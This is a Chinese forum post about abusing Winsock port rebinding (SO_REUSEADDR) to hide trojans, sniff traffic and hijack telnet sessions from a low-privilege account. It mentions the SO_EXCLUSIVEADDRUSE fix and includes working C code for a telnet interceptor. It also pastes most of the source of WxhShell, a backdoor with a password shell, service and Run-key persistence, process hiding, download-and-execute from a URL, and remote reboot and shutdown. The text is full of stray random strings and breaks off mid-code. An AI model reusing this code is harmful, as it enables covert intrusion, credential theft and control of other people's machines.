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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Wp}9%Mq~Jy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]HV~xD7\  
SU O;  
  saddr.sin_family = AF_INET; B" m:<@ "  
`B\KS*Gya#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i @9 Qb  
sNfb %r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3B".Gsm)X  
ckN(`W,xp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $&=;9="  
&n]Z1e}5  
  这意味着什么?意味着可以进行如下的攻击: rtL9c w5  
f=_?<I{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 udD* E~1q  
7G[ GHc>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'Z2N{65  
b?] S&)"9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x_y>j)  
l8xd73D)8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +< \cd9  
'%-xe3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;Nf hKu%K  
\kV7NA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,}IER  
EB2^]?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [wio/wc  
).+xcv   
  #include t7oz9fSz=?  
  #include rfXF 01I  
  #include "UoCT7X  
  #include    )fd-IYi-3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rhv".epz  
  int main() t6bWSz0  
  { I0l.KiBm  
  WORD wVersionRequested; xeYySM=  
  DWORD ret; 2gL[\/s  
  WSADATA wsaData; /ik)4]>  
  BOOL val; jO&f*rxN  
  SOCKADDR_IN saddr; ADyNNMcx  
  SOCKADDR_IN scaddr; 9(^X2L&Z  
  int err; i. u15$  
  SOCKET s; 4-M6C 5#.  
  SOCKET sc; Ife,h s  
  int caddsize; QVSsi j  
  HANDLE mt; -wtTq ph'  
  DWORD tid;   p*AP 'cR  
  wVersionRequested = MAKEWORD( 2, 2 ); 7o965h  
  err = WSAStartup( wVersionRequested, &wsaData ); @8M'<tr<z  
  if ( err != 0 ) { |P.  =  
  printf("error!WSAStartup failed!\n"); n$hqNsM  
  return -1; HV*:<2P%D  
  } vN0L( B  
  saddr.sin_family = AF_INET; a(x.{}uG,  
   }uvKE|umj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U| 41u4)D  
0K$WSGB?6j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UYcyk $da  
  saddr.sin_port = htons(23); M=\d_O#;Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (iCZz{l@~  
  { Nn,vdu{^2  
  printf("error!socket failed!\n"); K{= r.W  
  return -1; [I++>4  
  } 7dufY }}  
  val = TRUE; S& ,Ju%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =p,4=wo{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) } Jdh^t.  
  { (}*\ {  
  printf("error!setsockopt failed!\n"); F;?TR[4!k  
  return -1; (EOec5qXU  
  } ]xJ'oBhy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^Kw&=u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a8bX"#OR&N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u,Q_WR-wJ  
,<Grd5em.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PUQ_w  
  { =#.8$oa^  
  ret=GetLastError(); %)<oX9E  
  printf("error!bind failed!\n"); OUlxeo/  
  return -1; I*+LJy;j  
  } )I Y 5Y  
  listen(s,2); XDP6T"h  
  while(1) r|\5'ZMx  
  { %67G]?EXB  
  caddsize = sizeof(scaddr); r{R[[]p  
  //接受连接请求 w!B,kqTG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'FPcAW^8  
  if(sc!=INVALID_SOCKET) 45r]wT(C   
  { vu_>U({. T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =A0"0D{\  
  if(mt==NULL) @sB}q 6>  
  { Qb6QXjN Q  
  printf("Thread Creat Failed!\n"); (6ohrM>Q  
  break; &# vk4C_8m  
  } DJ1XN pm  
  } b[{m>Fa+o#  
  CloseHandle(mt); 4hsPbUx9  
  } /@9-!cL  
  closesocket(s); ;I!+ lx3[  
  WSACleanup(); R (tiIo  
  return 0; :c~9>GCE&  
  }   PSP1>-7)w  
  DWORD WINAPI ClientThread(LPVOID lpParam) fB;&n  
  { wc6 E- rB  
  SOCKET ss = (SOCKET)lpParam; q7O,I`KaJ  
  SOCKET sc; 0%h [0jGj  
  unsigned char buf[4096]; ; d, JN  
  SOCKADDR_IN saddr; KA|&Q<<{@  
  long num; J+/}K>2#  
  DWORD val; gD,YQ%aq  
  DWORD ret; @7Q*h   
  //如果是隐藏端口应用的话,可以在此处加一些判断 RMS.1:O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3JlC/v#0  
  saddr.sin_family = AF_INET; T=eT^?v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?VMi!-POE  
  saddr.sin_port = htons(23); G zJ9N`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {+@ms$z  
  { QmWC2$b  
  printf("error!socket failed!\n"); /32Ta  
  return -1; '|YtNhWZ?  
  } K:>NGGY8r  
  val = 100; L<f-Ed9|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tl{]gz  
  { ql!5m\  
  ret = GetLastError(); p/ziFpU  
  return -1; Ek"YM[  
  } \S=XIf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |uQn|"U4  
  { qO:U]\P  
  ret = GetLastError(); {Ior.(D>Y  
  return -1; ~&wXXVK3  
  } E@5zd@[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o :.~X  
  { [5]R?bQ0q{  
  printf("error!socket connect failed!\n"); 4&FNU)tt  
  closesocket(sc); 07$/]eO%C  
  closesocket(ss); 2k.S[?)  
  return -1; cOzg/~\1  
  } *fxep08B  
  while(1) q*HAIw[<y  
  { lEO?kn.:z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S2koXg(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p&k 0Rx0Q3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6obQ9L c  
  num = recv(ss,buf,4096,0); 7j@^+rkr3f  
  if(num>0) LFE p  
  send(sc,buf,num,0); /`7 IK  
  else if(num==0) E0sbU<11  
  break; "_ nX5J9  
  num = recv(sc,buf,4096,0); +G5'kYzJ  
  if(num>0) W@:^aH  
  send(ss,buf,num,0); ]h #WkcXQ  
  else if(num==0) GIl:3iB49  
  break; |RHO+J  
  } H/cs_i  
  closesocket(ss); fl!mYCPv  
  closesocket(sc); /-DKV~  
  return 0 ; DWF >b  
  } ::p-9F  
iP~sft6  
+<)tql*  
========================================================== Tx y]"_  
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下边附上一个代码,,WXhSHELL `^O'V}T  
hWe}' L-  
========================================================== y\[L?Rmd  
i0ILb/LS  
#include "stdafx.h" 3cmbK  
5|yZEwq  
#include <stdio.h> !Bag}|#  
#include <string.h> ot-(4Y  
#include <windows.h> Ly^E& ,)  
#include <winsock2.h> X32RZ9y  
#include <winsvc.h> 5\uNEs$T  
#include <urlmon.h> *}+R{  
FpP\-+Sl  
#pragma comment (lib, "Ws2_32.lib") qv.[k<~a>  
#pragma comment (lib, "urlmon.lib") 5?^]1P_  
?+3R^%`V  
#define MAX_USER   100 // 最大客户端连接数 \U==f &G?J  
#define BUF_SOCK   200 // sock buffer =ft9T&ciD  
#define KEY_BUFF   255 // 输入 buffer \V._Z>]  
91BY]N  
#define REBOOT     0   // 重启 `ff j8U  
#define SHUTDOWN   1   // 关机 Z$Z`@&U=  
2}D,df'W4  
#define DEF_PORT   5000 // 监听端口 ].LJt['%8  
f&K}IM8& #  
#define REG_LEN     16   // 注册表键长度 Q]!6uA$A  
#define SVC_LEN     80   // NT服务名长度 )URwIe{  
wG_4$kyj  
// 从dll定义API (:ZPt(1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;_x2 Ymw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C#Y,r)l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4DvdE t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .8-PB*vb  
)8:n}w  
// wxhshell配置信息 <inl{CX/  
struct WSCFG { %wOOzp`  
  int ws_port;         // 监听端口 y@q1c*|  
  char ws_passstr[REG_LEN]; // 口令 QxKAXq@)i  
  int ws_autoins;       // 安装标记, 1=yes 0=no [.M  
  char ws_regname[REG_LEN]; // 注册表键名 ty':`)  
  char ws_svcname[REG_LEN]; // 服务名 QyTh!QM~`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h!QjpzQe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x]H3Y3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^GN5vT+:'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `hzd|GmX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2K Pqu:lv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'zE: fLo  
F/)f,sZF  
}; KUbJe)}g  
OE6#YT  
// default Wxhshell configuration P;jlHZ9?O  
struct WSCFG wscfg={DEF_PORT, y*_K=}pk  
    "xuhuanlingzhe", RTA%hCr!  
    1, =1O?jrl~q  
    "Wxhshell", AD(xaQ&T  
    "Wxhshell", e,^pMg~  
            "WxhShell Service", }Bd_:#.mw  
    "Wrsky Windows CmdShell Service", xOhRTxic  
    "Please Input Your Password: ", e!6eZ)l  
  1, ubD#I{~J  
  "http://www.wrsky.com/wxhshell.exe", o.v2z~V  
  "Wxhshell.exe" /({P1ti:C  
    }; dZF8 R  
'HCnB]1  
// 消息定义模块 ^<!Ia  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #&k8TY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gEE9/\>%-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,dOMW+{  
char *msg_ws_ext="\n\rExit."; v Xc!Zg~  
char *msg_ws_end="\n\rQuit."; /=bSt  
char *msg_ws_boot="\n\rReboot..."; cY{I:MA+h@  
char *msg_ws_poff="\n\rShutdown..."; Q^nG0<q+  
char *msg_ws_down="\n\rSave to "; [@g~  
" l.!Ed  
char *msg_ws_err="\n\rErr!"; f7.m=lbe  
char *msg_ws_ok="\n\rOK!"; P7'M],!9w  
'\@WN]  
char ExeFile[MAX_PATH]; hUBF/4s\  
int nUser = 0; _'&k#Q  
HANDLE handles[MAX_USER]; 2,+d|1(4o  
int OsIsNt;  70{RDj6{  
h5 j<u  
SERVICE_STATUS       serviceStatus; )TM!ms+K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -E:(w<];  
>cTjA):  
// 函数声明 R^uc%onP  
int Install(void); \` &ej{  
int Uninstall(void); Bf/ |{@  
int DownloadFile(char *sURL, SOCKET wsh); gUspGsfr  
int Boot(int flag); N_0pO<<cs  
void HideProc(void); ::ri3Tu  
int GetOsVer(void); O6/xPeak  
int Wxhshell(SOCKET wsl); c+H)ed>  
void TalkWithClient(void *cs); wBLsz/  
int CmdShell(SOCKET sock); ZH!;z-R  
int StartFromService(void); }H5/3be  
int StartWxhshell(LPSTR lpCmdLine); ZxI]I1)  
&eU3(F`.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f P+QxOz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `6UtxJSx  
W5 |j1He&  
// 数据结构和表定义 )]3L/  
SERVICE_TABLE_ENTRY DispatchTable[] = b##1hm~+9  
{ @bE~@4mOu  
{wscfg.ws_svcname, NTServiceMain}, 3Qa?\C&4  
{NULL, NULL} 8+&gp$a$  
}; 2!BsEvB(  
6oYIQ'hc  
// 自我安装 pG~'shD~Dn  
int Install(void) .ByU  
{ b22LT52  
  char svExeFile[MAX_PATH]; pcNSL'u+  
  HKEY key; kwO eHdV^  
  strcpy(svExeFile,ExeFile); y ^SyhG,V[  
;c$@@ l  
// 如果是win9x系统,修改注册表设为自启动 7r['  
if(!OsIsNt) { 1EQvcw #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;KL9oV!<f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p+vh[+yp  
  RegCloseKey(key); C>NQ-w^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oikxg!0S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Et.j1M|g  
  RegCloseKey(key); ~oo'ky*H!  
  return 0;  J+lGh9G  
    } sSz%V[X WL  
  } 86y%=!bS  
} I'?6~Sn3  
else { =E!x~S;N  
a&N%|b K  
// 如果是NT以上系统,安装为系统服务 ? -CV %l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  9|<Be6  
if (schSCManager!=0) y)tYSTJK  
{ I.-v?1>,  
  SC_HANDLE schService = CreateService UTvs |[  
  ( !D7"=G}HD  
  schSCManager, $M39 #a  
  wscfg.ws_svcname, :,47rN,qa  
  wscfg.ws_svcdisp, @R UP$  
  SERVICE_ALL_ACCESS, UDM yyVd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4j{oaey  
  SERVICE_AUTO_START, y #69|G  
  SERVICE_ERROR_NORMAL, <>n9'i1  
  svExeFile, qrpb[)Ll  
  NULL, f0u56I9  
  NULL, }s(C^0x  
  NULL, =tnTdp0F  
  NULL, 9{$8\E9*nd  
  NULL (uRZxX  
  ); "Tv:*L5  
  if (schService!=0) `[OXVs,7"  
  { W"|mpxp  
  CloseServiceHandle(schService); 8?kP*tmcZ  
  CloseServiceHandle(schSCManager); j3{HkcjJG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mTJ"l(,3  
  strcat(svExeFile,wscfg.ws_svcname); jFG5)t<D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EavX8r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S*xhX1yUi  
  RegCloseKey(key); X>{p}vtvf>  
  return 0; R5gado  
    } dl_{iMhF&E  
  } u0g*O]Y  
  CloseServiceHandle(schSCManager); %Lyz_2q A  
} 1|]xo3j"'  
} dqxd3,Z  
[g`,AmR\!  
return 1; 7=vYO|a/4  
} W_%W%i|  
^4 8\>-Q\  
// 自我卸载 e"~)Utk  
int Uninstall(void) gJk[Ja  
{ q1w|'V  
  HKEY key; nP OO3!<{  
3}j1RYtz  
if(!OsIsNt) { 26 ?23J ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dp`HeSKU^  
  RegDeleteValue(key,wscfg.ws_regname);  $WR?  
  RegCloseKey(key); Wy.";/C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Je@kiE  
  RegDeleteValue(key,wscfg.ws_regname); Y1WHy *s?  
  RegCloseKey(key); !LiQ 1`V{  
  return 0; -;U3w.-  
  } EX+,:l\^  
} n]v7V&mj\  
} {@45?L('  
else { =zOe b/  
JjQVzkE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xDUaHE1co  
if (schSCManager!=0) P5Dk63z]  
{ AEqq1A   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y?Onb 3%  
  if (schService!=0) 4'm q_o#4W  
  { vd(dNu&,<  
  if(DeleteService(schService)!=0) { xW\,KSK  
  CloseServiceHandle(schService); vK:QX$b  
  CloseServiceHandle(schSCManager); T .hb#oO  
  return 0; 7*;^UqGjz  
  } C\A49q  
  CloseServiceHandle(schService); ,T{oy:rB  
  } a,cC!   
  CloseServiceHandle(schSCManager); ~&KX-AC@  
} '?8Tx&}U8  
} # 66e@  
>XnO&hW  
return 1; \K}aQKB/j  
} 8YKQIt K  
~#Aa Ldq  
// 从指定url下载文件 r )8z#W>s  
int DownloadFile(char *sURL, SOCKET wsh) "xn|zB  
{ lQL:3U0DjU  
  HRESULT hr; tr=@+WHp  
char seps[]= "/"; g z4UV/qr/  
char *token; d;44;*D  
char *file; a:b^!H>#  
char myURL[MAX_PATH]; M(2`2-/xh  
char myFILE[MAX_PATH]; mW +tV1XjG  
e9:P9Di(b  
strcpy(myURL,sURL); !F$R+A+L  
  token=strtok(myURL,seps); ^yJ:+m;6K  
  while(token!=NULL) vI|As+`$d  
  { 4TVwa(cB  
    file=token; ;wgFr.#hp@  
  token=strtok(NULL,seps); 7wi%j!  
  } Q;wB{vr$  
'F7VM?HBfg  
GetCurrentDirectory(MAX_PATH,myFILE); %t[K36,p  
strcat(myFILE, "\\"); )$_,?*fq:  
strcat(myFILE, file); )*D'csGc  
  send(wsh,myFILE,strlen(myFILE),0); +v-LL*fa  
send(wsh,"...",3,0); u w"*zBxl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k!owl+a   
  if(hr==S_OK) ;{Jb6'K1h  
return 0; ^mfjn-=3  
else gl "_:atW  
return 1; " '[hr$h3  
}dKLMNqPA  
} xqv[? ?  
.Q[yD<)Ubs  
// 系统电源模块 rN#\AN  
int Boot(int flag) a:}E& ,&M  
{ ?wCs&tM  
  HANDLE hToken; |[LE9Lq/  
  TOKEN_PRIVILEGES tkp; jyQVSQ s  
K(OaW)j  
  if(OsIsNt) { Y 1y E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l#xw.2bo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xm@aYNV  
    tkp.PrivilegeCount = 1; &h(g$-l?[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $"fzBM?5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LM6]kll  
if(flag==REBOOT) { eXG57<t ON  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pBU]=[M0  
  return 0; +>#e=nH  
} M5O'=\+,F  
else { }"4roJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oIxH3T  
  return 0; x8/us  
} ERC<Dd0  
  } lwJipIO  
  else { 8K^f:)Qw  
if(flag==REBOOT) { aDveU)]=1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <T4(H[9B  
  return 0; *8UYSA~v  
} yoU2AMH2D^  
else { 1R^4C8*B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @ef$b?wg  
  return 0; RH~sbnZ)F  
} b{pg!/N4  
} 2GUupnQkD  
aTClw<6}  
return 1; Kj!Y K~~  
} OL9]*G?F  
2-s7cXs  
// win9x进程隐藏模块 OZT^\Ky_l  
void HideProc(void) S&01SX6  
{ `Cg^in\  
!tBeuemN%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r<|nwFJ  
  if ( hKernel != NULL ) y ||@?Y  
  { " 5|\X<f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lsFfb'>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )&z4_l8`=  
    FreeLibrary(hKernel); Pi){h~B>  
  } <jFSj=cIL  
k* Pz&8|  
return; @h(!<Ux_  
} c'rd$  
[Xh\m DU.  
// 获取操作系统版本 pYh!]0n  
int GetOsVer(void) $T/#1w P  
{ = t-fYV  
  OSVERSIONINFO winfo; Snx<]|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  #>bT<  
  GetVersionEx(&winfo); oLP]N$'#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >h%\HMKk  
  return 1; y\Dn^  
  else S+pP!YX  
  return 0; \xeVDKJH+n  
} e?=elN  
n;qz^HXEJ  
// 客户端句柄模块 !-RwB@\  
int Wxhshell(SOCKET wsl) !7c'<[+Hm  
{ qguVaV4Y  
  SOCKET wsh; -#%X3F7/w  
  struct sockaddr_in client; PGY9*0n  
  DWORD myID; }$:#+ (17  
u<kD}  
  while(nUser<MAX_USER) j6og3.H-  
{ PY -+Bf  
  int nSize=sizeof(client); A8!Ed$@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k9&@(G[K3  
  if(wsh==INVALID_SOCKET) return 1; xE1rxPuq)d  
k(v"B@0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uS-3\$  
if(handles[nUser]==0) 6F-JK1i  
  closesocket(wsh); J[r^T&o  
else <A{y($  
  nUser++; OAVQ`ek  
  } E*^ 9|Y[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SUc6/'Rdr  
`Hd9\;NJ  
  return 0; ]ViOr8u  
} iD`k"\>9  
"uhV|Lk*7  
// 关闭 socket h>|u:]I>  
void CloseIt(SOCKET wsh) ]v GgJ<  
{ jN{Zw*  
closesocket(wsh); ngLJ@TP-  
nUser--; gLx/w\l6  
ExitThread(0); !EM#m@kZ{  
} `*d{PJTv  
YLmjEs%  
// 客户端请求句柄 #s{aulx  
void TalkWithClient(void *cs) (Com,  
{ 1 KB7yG-#6  
J&_3VKrN  
  SOCKET wsh=(SOCKET)cs; 6qDfcs  
  char pwd[SVC_LEN]; |lE-&a$xd  
  char cmd[KEY_BUFF]; o$\tHzB9!A  
char chr[1]; t\|J&4!Y  
int i,j; bKByU{t  
FF3&Y^+^"  
  while (nUser < MAX_USER) { fCr\u6Tb  
Gql`>~  
if(wscfg.ws_passstr) { tIp{},bQ^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <N-=fad]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9N1#V K  
  //ZeroMemory(pwd,KEY_BUFF); [9HYO  
      i=0; 117c,yM0  
  while(i<SVC_LEN) { zv@bI~3~  
0# l#,Y6#I  
  // 设置超时 J[6VBM.Y  
  fd_set FdRead; Ju4.@  
  struct timeval TimeOut; P{Lg{I_w.B  
  FD_ZERO(&FdRead); SXh?U,5u  
  FD_SET(wsh,&FdRead); %Gu][_.L  
  TimeOut.tv_sec=8; wn1, EhHt  
  TimeOut.tv_usec=0; lZvS0JS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C/y(E |zC$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zU b8NOi  
q- H&5K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y-= /,   
  pwd=chr[0]; -~} tq]  
  if(chr[0]==0xd || chr[0]==0xa) { D>Ua#<52q  
  pwd=0; egWx9xX  
  break; o"\{OX  
  } p>&S7M/9  
  i++;  -tMA  
    } #EFMgQO  
fzyzuS$  
  // 如果是非法用户,关闭 socket EU9[F b]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )6 k1 P  
} 3u4:l  
VAg68 EbnF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *k4+ioFnKE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L W?&a3e  
A9iQ{l  
while(1) { _{mJ.1)V;  
!")WZq^`  
  ZeroMemory(cmd,KEY_BUFF); pkW5D  
VW~Xbyf  
      // 自动支持客户端 telnet标准   VRB~7\A5<)  
  j=0; x RB7lV*  
  while(j<KEY_BUFF) { ivD^HhG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  VmYBa(  
  cmd[j]=chr[0]; x*J|i4  
  if(chr[0]==0xa || chr[0]==0xd) { Y6a$gXRT  
  cmd[j]=0; lU& Q^Zj`  
  break; El+Ft.7  
  } E)Srj~$d  
  j++; Z>&K&ttJ  
    } 97(n\Wt 2  
W%WC(/hor  
  // 下载文件 .X^43 q  
  if(strstr(cmd,"http://")) { xh`Du|jvm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _\!0t  
  if(DownloadFile(cmd,wsh)) '(XW$D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Lw'v:(  
  else d _uF Y:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g*28L[Q~  
  } }`#B f  
  else { t +J)dr  
zG<0CZQ8  
    switch(cmd[0]) { "!^c  
  'cYQ ?;  
  // 帮助 K]9tc)  
  case '?': { rCkYfTYI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }.OxJ=M  
    break; h>.9RX &  
  } o:4CI  
  // 安装 &%}bRPUl  
  case 'i': { wCC-Y kA  
    if(Install()) v23TL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7pd$?=__I  
    else sb 8dc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .1Vu-@  
    break; Okk hP  
    } !}y8S'Yjw  
  // 卸载 uFWvtL?;_  
  case 'r': { lR, G;  
    if(Uninstall()) YyG~#6aCh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ J%m  
    else b~F!.^7Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1BTgGF  
    break; e`vUK.UoW  
    } {;\%!I  
  // 显示 wxhshell 所在路径 (5>{?dR)|  
  case 'p': { |^Ur  
    char svExeFile[MAX_PATH]; u^!&{q  
    strcpy(svExeFile,"\n\r"); tjt=N\;  
      strcat(svExeFile,ExeFile); /m;O;2"  
        send(wsh,svExeFile,strlen(svExeFile),0); # .~.UHt  
    break; /O+e#z2f<  
    } [q w  
  // 重启 b5[f 5  
  case 'b': { HuK Aj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n|J.)E.  
    if(Boot(REBOOT)) [GOX0}$?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [9w, WJL  
    else { jt/l,=9YK  
    closesocket(wsh); #DrZ`Aq  
    ExitThread(0); WT I'O  
    } .HQVj'g  
    break; v]l&dgoT  
    } \l>q Y(gu  
  // 关机 %}\ vW  
  case 'd': { K90D1sD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {jrZ?e-q  
    if(Boot(SHUTDOWN)) :jl u  
